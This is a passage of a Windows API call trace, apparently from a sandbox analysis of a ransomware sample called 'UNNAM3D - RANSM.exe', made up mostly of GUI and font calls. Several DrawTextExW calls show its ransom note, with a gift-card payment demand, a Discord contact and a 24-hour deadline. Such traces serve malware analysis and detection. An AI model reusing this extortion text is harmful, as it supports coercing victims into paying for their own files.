(nIndex=29) returned 0xd77800 [0039.206] GetSysColor (nIndex=7) returned 0x0 [0039.206] GetSysColor (nIndex=0) returned 0xc8c8c8 [0039.206] GetSysColor (nIndex=5) returned 0xffffff [0039.206] GetSysColor (nIndex=6) returned 0x646464 [0039.206] GetSysColor (nIndex=8) returned 0x0 [0039.206] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0039.206] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0039.208] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x73ea2c) returned 0x0 [0039.209] GdipCreateFont (fontFamily=0x4b69010, emSize=0x41100000, style=1, unit=0x3, font=0x2607b98) returned 0x0 [0039.209] GdipGetFontSize (font=0x4b6ef38, size=0x2607b9c) returned 0x0 [0039.209] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0039.209] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0039.209] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0039.209] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0039.209] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x73ea2c) returned 0x0 [0039.210] GdipCreateFont (fontFamily=0x4b69010, emSize=0x41100000, style=1, unit=0x3, font=0x2607f34) returned 0x0 [0039.210] GdipGetFontSize (font=0x5f3a9c0, size=0x2607f38) returned 0x0 [0039.210] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0039.210] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0039.210] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0039.210] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0039.212] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config", nBufferLength=0x105, lpBuffer=0x73e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config", lpFilePart=0x0) returned 0x32 [0039.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x73e7a0) returned 1 [0039.212] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x73e81c | out: lpFileInformation=0x73e81c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0039.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x73e79c) returned 1 [0039.987] CoTaskMemAlloc (cb=0x16) returned 0x964128 [0039.990] CoTaskMemAlloc (cb=0x31) returned 0x9b07f8 [0039.993] CoTaskMemAlloc (cb=0x17) returned 0x963fc8 [0039.996] CoTaskMemAlloc (cb=0x58) returned 0x99c838 [0040.000] CoTaskMemAlloc (cb=0x4d) returned 0x9b9a18 [0040.006] CoTaskMemAlloc (cb=0x35) returned 0x9b0cb8 [0040.014] CoTaskMemAlloc (cb=0x3a0) returned 0x9c93b0 [0040.026] CoTaskMemAlloc (cb=0x93) returned 0x9c4dc8 [0040.028] CoTaskMemAlloc (cb=0x7f) returned 0x9b2d80 [0040.031] CoTaskMemAlloc (cb=0x26) returned 0x9b42e8 [0040.085] CoTaskMemAlloc (cb=0x54) returned 0x99c898 [0040.155] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x73ea2c) returned 0x0 [0040.155] GdipCreateFont (fontFamily=0x4b69010, emSize=0x41640000, style=1, unit=0x3, font=0x2545f88) returned 0x0 [0040.156] GdipGetFontSize (font=0x5f3a9e8, size=0x2545f8c) returned 0x0 [0040.156] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.156] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0040.156] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.156] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0040.156] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x73ea2c) returned 0x0 [0040.156] GdipCreateFont (fontFamily=0x4b69010, emSize=0x41640000, style=1, unit=0x3, font=0x25461e4) returned 0x0 [0040.156] GdipGetFontSize (font=0x5f3aa10, size=0x25461e8) returned 0x0 [0040.157] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.157] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0040.157] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.157] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0040.157] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x73ea2c) returned 0x0 [0040.157] GdipCreateFont (fontFamily=0x4b69010, emSize=0x41100000, style=1, unit=0x3, font=0x25464f8) returned 0x0 [0040.157] GdipGetFontSize (font=0x5f3aa38, size=0x25464fc) returned 0x0 [0040.157] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.157] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0040.157] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.157] AdjustWindowRectEx (in: lpRect=0x73e9b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9b0) returned 1 [0040.159] CoTaskMemAlloc (cb=0x37) returned 0x9b0e38 [0040.162] CoTaskMemAlloc (cb=0x52) returned 0x9d20b0 [0040.253] GdipLoadImageFromStream (stream=0x4b30030, image=0x73e450) returned 0x0 [0040.520] GdipImageForceValidation (image=0x5f3acc0) returned 0x0 [0040.592] GdipGetImageType (image=0x5f3acc0, type=0x73e44c) returned 0x0 [0040.592] GdipGetImageRawFormat (image=0x5f3acc0, format=0x73e3c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0040.594] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.594] AdjustWindowRectEx (in: lpRect=0x73e9dc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9dc) returned 1 [0040.594] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.594] AdjustWindowRectEx (in: lpRect=0x73e9dc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9dc) returned 1 [0040.595] CoTaskMemAlloc (cb=0x37) returned 0x9b04f8 [0040.602] GdipLoadImageFromStream (stream=0x4b30010, image=0x73e450) returned 0x0 [0040.603] GdipImageForceValidation (image=0x5f3fd80) returned 0x0 [0040.610] GdipGetImageType (image=0x5f3fd80, type=0x73e44c) returned 0x0 [0040.611] GdipGetImageRawFormat (image=0x5f3fd80, format=0x73e3c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0040.611] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.611] AdjustWindowRectEx (in: lpRect=0x73e9dc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9dc) returned 1 [0040.611] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.611] AdjustWindowRectEx (in: lpRect=0x73e9dc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e9dc) returned 1 [0040.629] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.630] AdjustWindowRectEx (in: lpRect=0x73ea10, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x73ea10) returned 1 [0040.630] GetSystemMetrics (nIndex=59) returned 1460 [0040.630] GetSystemMetrics (nIndex=60) returned 920 [0040.630] GetSystemMetrics (nIndex=34) returned 136 [0040.630] GetSystemMetrics (nIndex=35) returned 39 [0040.630] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.630] AdjustWindowRectEx (in: lpRect=0x73e910, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x73e910) returned 1 [0040.630] GetCurrentThreadId () returned 0xeb4 [0040.630] GetCurrentThreadId () returned 0xeb4 [0040.643] GetCurrentThreadId () returned 0xeb4 [0040.643] GetCurrentThreadId () returned 0xeb4 [0040.643] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.643] AdjustWindowRectEx (in: lpRect=0x73e808, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e808) returned 1 [0040.660] GdipGetFamilyName (in: family=0x4b69010, name=0x73e6f4, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0040.662] CreateCompatibleDC (hdc=0x0) returned 0x950106bf [0040.663] GetCurrentObject (hdc=0x950106bf, type=0x1) returned 0xb00017 [0040.663] GetCurrentObject (hdc=0x950106bf, type=0x2) returned 0x900010 [0040.663] GetCurrentObject (hdc=0x950106bf, type=0x7) returned 0x85000f [0040.663] GetCurrentObject (hdc=0x950106bf, type=0x6) returned 0x8a01c2 [0040.663] SaveDC (hdc=0x950106bf) returned 1 [0040.664] GetDeviceCaps (hdc=0x950106bf, index=90) returned 96 [0040.665] CoTaskMemAlloc (cb=0x5c) returned 0x9c7540 [0040.665] CreateFontIndirectW (lplf=0x9c7540) returned 0x1c0a0683 [0040.665] CoTaskMemFree (pv=0x9c7540) [0040.666] GetObjectW (in: h=0x1c0a0683, c=92, pv=0x73e6b8 | out: pv=0x73e6b8) returned 92 [0040.666] GetCurrentObject (hdc=0x950106bf, type=0x6) returned 0x8a01c2 [0040.666] GetObjectW (in: h=0x8a01c2, c=92, pv=0x73e620 | out: pv=0x73e620) returned 92 [0040.666] SelectObject (hdc=0x950106bf, h=0x1c0a0683) returned 0x8a01c2 [0040.666] GetMapMode (hdc=0x950106bf) returned 1 [0040.666] GetTextMetricsW (in: hdc=0x950106bf, lptm=0x73e6e8 | out: lptm=0x73e6e8) returned 1 [0040.674] DrawTextExW (in: hdc=0x950106bf, lpchText="Discord: UNNAM3D#6666", cchText=21, lprc=0x73e7f4, format=0x2400, lpdtp=0x2610830 | out: lpchText="Discord: UNNAM3D#6666", lprc=0x73e7f4) returned 15 [0040.736] GetCurrentThreadId () returned 0xeb4 [0040.736] GetCurrentThreadId () returned 0xeb4 [0040.736] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.736] AdjustWindowRectEx (in: lpRect=0x73e808, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e808) returned 1 [0040.736] DrawTextExW (in: hdc=0x950106bf, lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", cchText=172, lprc=0x73e7f4, format=0x2400, lpdtp=0x2610964 | out: lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", lprc=0x73e7f4) returned 45 [0040.736] GetCurrentThreadId () returned 0xeb4 [0040.736] GetCurrentThreadId () returned 0xeb4 [0040.737] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.737] AdjustWindowRectEx (in: lpRect=0x73e808, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e808) returned 1 [0040.737] DrawTextExW (in: hdc=0x950106bf, lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", cchText=214, lprc=0x73e7f4, format=0x2400, lpdtp=0x2610aa0 | out: lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", lprc=0x73e7f4) returned 60 [0040.737] GetCurrentThreadId () returned 0xeb4 [0040.737] GetCurrentThreadId () returned 0xeb4 [0040.737] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.737] AdjustWindowRectEx (in: lpRect=0x73e808, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e808) returned 1 [0040.737] GdipGetFamilyName (in: family=0x4b69010, name=0x73e6f4, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0040.737] GetDeviceCaps (hdc=0x950106bf, index=90) returned 96 [0040.737] CoTaskMemAlloc (cb=0x5c) returned 0x9c7408 [0040.737] CreateFontIndirectW (lplf=0x9c7408) returned 0x990a06ff [0040.738] CoTaskMemFree (pv=0x9c7408) [0040.738] GetObjectW (in: h=0x990a06ff, c=92, pv=0x73e6b8 | out: pv=0x73e6b8) returned 92 [0040.749] SelectObject (hdc=0x950106bf, h=0x990a06ff) returned 0x1c0a0683 [0040.749] GetMapMode (hdc=0x950106bf) returned 1 [0040.749] GetTextMetricsW (in: hdc=0x950106bf, lptm=0x73e6e8 | out: lptm=0x73e6e8) returned 1 [0040.757] DrawTextExW (in: hdc=0x950106bf, lpchText="How do i pay?", cchText=13, lprc=0x73e7f4, format=0x2400, lpdtp=0x2610de4 | out: lpchText="How do i pay?", lprc=0x73e7f4) returned 24 [0040.809] GetCurrentThreadId () returned 0xeb4 [0040.809] GetCurrentThreadId () returned 0xeb4 [0040.809] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.809] AdjustWindowRectEx (in: lpRect=0x73e808, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e808) returned 1 [0040.809] DrawTextExW (in: hdc=0x950106bf, lpchText="What Happend?", cchText=13, lprc=0x73e7f4, format=0x2400, lpdtp=0x2610f50 | out: lpchText="What Happend?", lprc=0x73e7f4) returned 24 [0040.809] GetCurrentThreadId () returned 0xeb4 [0040.809] GetCurrentThreadId () returned 0xeb4 [0040.809] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.809] AdjustWindowRectEx (in: lpRect=0x73e808, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e808) returned 1 [0040.809] GdipGetFamilyName (in: family=0x4b69010, name=0x73e6f4, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0040.810] GetDeviceCaps (hdc=0x950106bf, index=90) returned 96 [0040.810] CoTaskMemAlloc (cb=0x5c) returned 0x9c7678 [0040.810] CreateFontIndirectW (lplf=0x9c7678) returned 0x360a06c5 [0040.810] CoTaskMemFree (pv=0x9c7678) [0040.810] GetObjectW (in: h=0x360a06c5, c=92, pv=0x73e6b8 | out: pv=0x73e6b8) returned 92 [0040.810] SelectObject (hdc=0x950106bf, h=0x360a06c5) returned 0x990a06ff [0040.810] GetMapMode (hdc=0x950106bf) returned 1 [0040.810] GetTextMetricsW (in: hdc=0x950106bf, lptm=0x73e6e8 | out: lptm=0x73e6e8) returned 1 [0040.810] DrawTextExW (in: hdc=0x950106bf, lpchText="-YOUR FILES HAVE BEEN LOCKED-", cchText=29, lprc=0x73e7f4, format=0x2400, lpdtp=0x2611298 | out: lpchText="-YOUR FILES HAVE BEEN LOCKED-", lprc=0x73e7f4) returned 25 [0040.823] GetCurrentThreadId () returned 0xeb4 [0040.823] GetCurrentThreadId () returned 0xeb4 [0040.823] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.823] AdjustWindowRectEx (in: lpRect=0x73e924, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73e924) returned 1 [0040.823] AdjustWindowRectEx (in: lpRect=0x73e9f0, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73e9f0) returned 1 [0040.823] GetSystemMetrics (nIndex=59) returned 1460 [0040.824] GetSystemMetrics (nIndex=60) returned 920 [0040.824] GetSystemMetrics (nIndex=34) returned 136 [0040.824] GetSystemMetrics (nIndex=35) returned 39 [0040.824] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.824] AdjustWindowRectEx (in: lpRect=0x73e828, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73e828) returned 1 [0040.824] AdjustWindowRectEx (in: lpRect=0x73e8f0, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73e8f0) returned 1 [0040.825] CreateCompatibleDC (hdc=0x0) returned 0x230106f7 [0040.825] GetDC (hWnd=0x0) returned 0x60100ce [0040.825] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x73e838) returned 0x0 [0040.825] CoTaskMemAlloc (cb=0x5c) returned 0x9c75a8 [0040.825] GdipGetLogFontW (font=0x5f3a998, graphics=0x5f40380, logfontW=0x9c75a8) returned 0x0 [0040.827] CoTaskMemFree (pv=0x9c75a8) [0040.827] CoTaskMemAlloc (cb=0x5c) returned 0x9c78e8 [0040.827] CoTaskMemFree (pv=0x9c78e8) [0040.828] CoTaskMemAlloc (cb=0x5c) returned 0x9c74d8 [0040.828] CoTaskMemFree (pv=0x9c74d8) [0040.828] GdipDeleteGraphics (graphics=0x5f40380) returned 0x0 [0040.828] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0040.828] CoTaskMemAlloc (cb=0x5c) returned 0x9c7678 [0040.828] CreateFontIndirectW (lplf=0x9c7678) returned 0x610a06ca [0040.828] CoTaskMemFree (pv=0x9c7678) [0040.828] SelectObject (hdc=0x230106f7, h=0x610a06ca) returned 0x8a01c2 [0040.829] GetTextMetricsW (in: hdc=0x230106f7, lptm=0x73e944 | out: lptm=0x73e944) returned 1 [0040.829] GetTextExtentPoint32W (in: hdc=0x230106f7, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2611af0 | out: psizl=0x2611af0) returned 1 [0040.830] SelectObject (hdc=0x230106f7, h=0x8a01c2) returned 0x610a06ca [0040.830] DeleteDC (hdc=0x230106f7) returned 1 [0040.831] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.831] AdjustWindowRectEx (in: lpRect=0x73e6ac, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73e6ac) returned 1 [0040.831] GetCursorPos (in: lpPoint=0x2611b10 | out: lpPoint=0x2611b10*(x=44, y=346)) returned 1 [0040.832] GetSystemMetrics (nIndex=80) returned 1 [0040.835] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x73e590 | out: lpmi=0x73e590) returned 1 [0040.835] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x250106f7 [0040.835] GetDeviceCaps (hdc=0x250106f7, index=12) returned 32 [0040.835] GetDeviceCaps (hdc=0x250106f7, index=14) returned 1 [0040.835] DeleteDC (hdc=0x250106f7) returned 1 [0040.836] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x73e5e0 | out: lpmi=0x73e5e0) returned 1 [0040.836] AdjustWindowRectEx (in: lpRect=0x73e8d0, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73e8d0) returned 1 [0040.836] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.836] AdjustWindowRectEx (in: lpRect=0x73e624, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73e624) returned 1 [0040.836] GetCursorPos (in: lpPoint=0x2611e44 | out: lpPoint=0x2611e44*(x=44, y=346)) returned 1 [0040.836] MonitorFromPoint (pt=0x2c, dwFlags=0x15b) returned 0x10001 [0040.836] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x73e508 | out: lpmi=0x73e508) returned 1 [0040.836] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x260106f7 [0040.836] GetDeviceCaps (hdc=0x260106f7, index=12) returned 32 [0040.837] GetDeviceCaps (hdc=0x260106f7, index=14) returned 1 [0040.837] DeleteDC (hdc=0x260106f7) returned 1 [0040.837] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x73e558 | out: lpmi=0x73e558) returned 1 [0040.837] AdjustWindowRectEx (in: lpRect=0x73e708, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73e708) returned 1 [0040.837] GetSystemMetrics (nIndex=34) returned 136 [0040.837] GetSystemMetrics (nIndex=35) returned 39 [0040.837] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.837] AdjustWindowRectEx (in: lpRect=0x73e8c8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e8c8) returned 1 [0040.838] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.838] AdjustWindowRectEx (in: lpRect=0x73e72c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e72c) returned 1 [0040.838] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.838] AdjustWindowRectEx (in: lpRect=0x73e8c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e8c8) returned 1 [0040.838] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.838] AdjustWindowRectEx (in: lpRect=0x73e72c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e72c) returned 1 [0040.838] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.838] AdjustWindowRectEx (in: lpRect=0x73e584, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e584) returned 1 [0040.839] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.839] AdjustWindowRectEx (in: lpRect=0x73e8c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e8c8) returned 1 [0040.839] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.839] AdjustWindowRectEx (in: lpRect=0x73e72c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e72c) returned 1 [0040.839] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.839] AdjustWindowRectEx (in: lpRect=0x73e584, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e584) returned 1 [0040.839] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.839] AdjustWindowRectEx (in: lpRect=0x73e8c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e8c8) returned 1 [0040.839] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.840] AdjustWindowRectEx (in: lpRect=0x73e72c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e72c) returned 1 [0040.840] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.840] AdjustWindowRectEx (in: lpRect=0x73e584, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e584) returned 1 [0040.840] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.840] AdjustWindowRectEx (in: lpRect=0x73e8c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e8c8) returned 1 [0040.840] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.840] AdjustWindowRectEx (in: lpRect=0x73e72c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e72c) returned 1 [0040.840] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.840] AdjustWindowRectEx (in: lpRect=0x73e584, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e584) returned 1 [0040.841] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.841] AdjustWindowRectEx (in: lpRect=0x73e8c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e8c8) returned 1 [0040.841] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.841] AdjustWindowRectEx (in: lpRect=0x73e72c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e72c) returned 1 [0040.841] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.841] AdjustWindowRectEx (in: lpRect=0x73e584, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e584) returned 1 [0040.841] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.841] AdjustWindowRectEx (in: lpRect=0x73e8c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e8c8) returned 1 [0040.841] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.841] AdjustWindowRectEx (in: lpRect=0x73e72c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e72c) returned 1 [0040.842] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.842] AdjustWindowRectEx (in: lpRect=0x73e584, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e584) returned 1 [0040.842] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.842] AdjustWindowRectEx (in: lpRect=0x73e8c8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e8c8) returned 1 [0040.842] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x742a0000 [0040.842] AdjustWindowRectEx (in: lpRect=0x73e72c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x73e72c) returned 1 [0040.842] GetCurrentActCtx (in: lphActCtx=0x73ece8 | out: lphActCtx=0x73ece8*=0x0) returned 1 [0040.842] ActivateActCtx (in: hActCtx=0x9af7f4, lpCookie=0x73ecf8 | out: hActCtx=0x9af7f4, lpCookie=0x73ecf8) returned 1 [0040.843] GetCurrentActCtx (in: lphActCtx=0x73eb08 | out: lphActCtx=0x73eb08*=0x9af7f4) returned 1 [0040.843] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0040.843] AdjustWindowRectEx (in: lpRect=0x73ea68, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x73ea68) returned 1 [0040.843] GetCursorPos (in: lpPoint=0x261258c | out: lpPoint=0x261258c*(x=44, y=346)) returned 1 [0040.843] MonitorFromPoint (pt=0x2c, dwFlags=0x15a) returned 0x10001 [0040.843] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x73e94c | out: lpmi=0x73e94c) returned 1 [0040.843] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x270106f7 [0040.843] GetDeviceCaps (hdc=0x270106f7, index=12) returned 32 [0040.843] GetDeviceCaps (hdc=0x270106f7, index=14) returned 1 [0040.843] DeleteDC (hdc=0x270106f7) returned 1 [0040.843] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x73e99c | out: lpmi=0x73e99c) returned 1 [0040.844] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0040.844] CreateWindowExW (dwExStyle=0x50001, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r9_ad1", lpWindowName="UNNAM3D - R@NSOMEWARE!", dwStyle=0x2cb0000, X=483, Y=227, nWidth=474, nHeight=406, hWndParent=0x0, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x80052 [0041.001] SetWindowLongW (hWnd=0x80052, nIndex=-4, dwNewLong=1952448832) returned 78513814 [0041.001] GetWindowLongW (hWnd=0x80052, nIndex=-4) returned 1952448832 [0041.002] SetWindowLongW (hWnd=0x80052, nIndex=-4, dwNewLong=78514702) returned 1952448832 [0041.002] GetWindowLongW (hWnd=0x80052, nIndex=-4) returned 78514702 [0041.002] GetWindowLongW 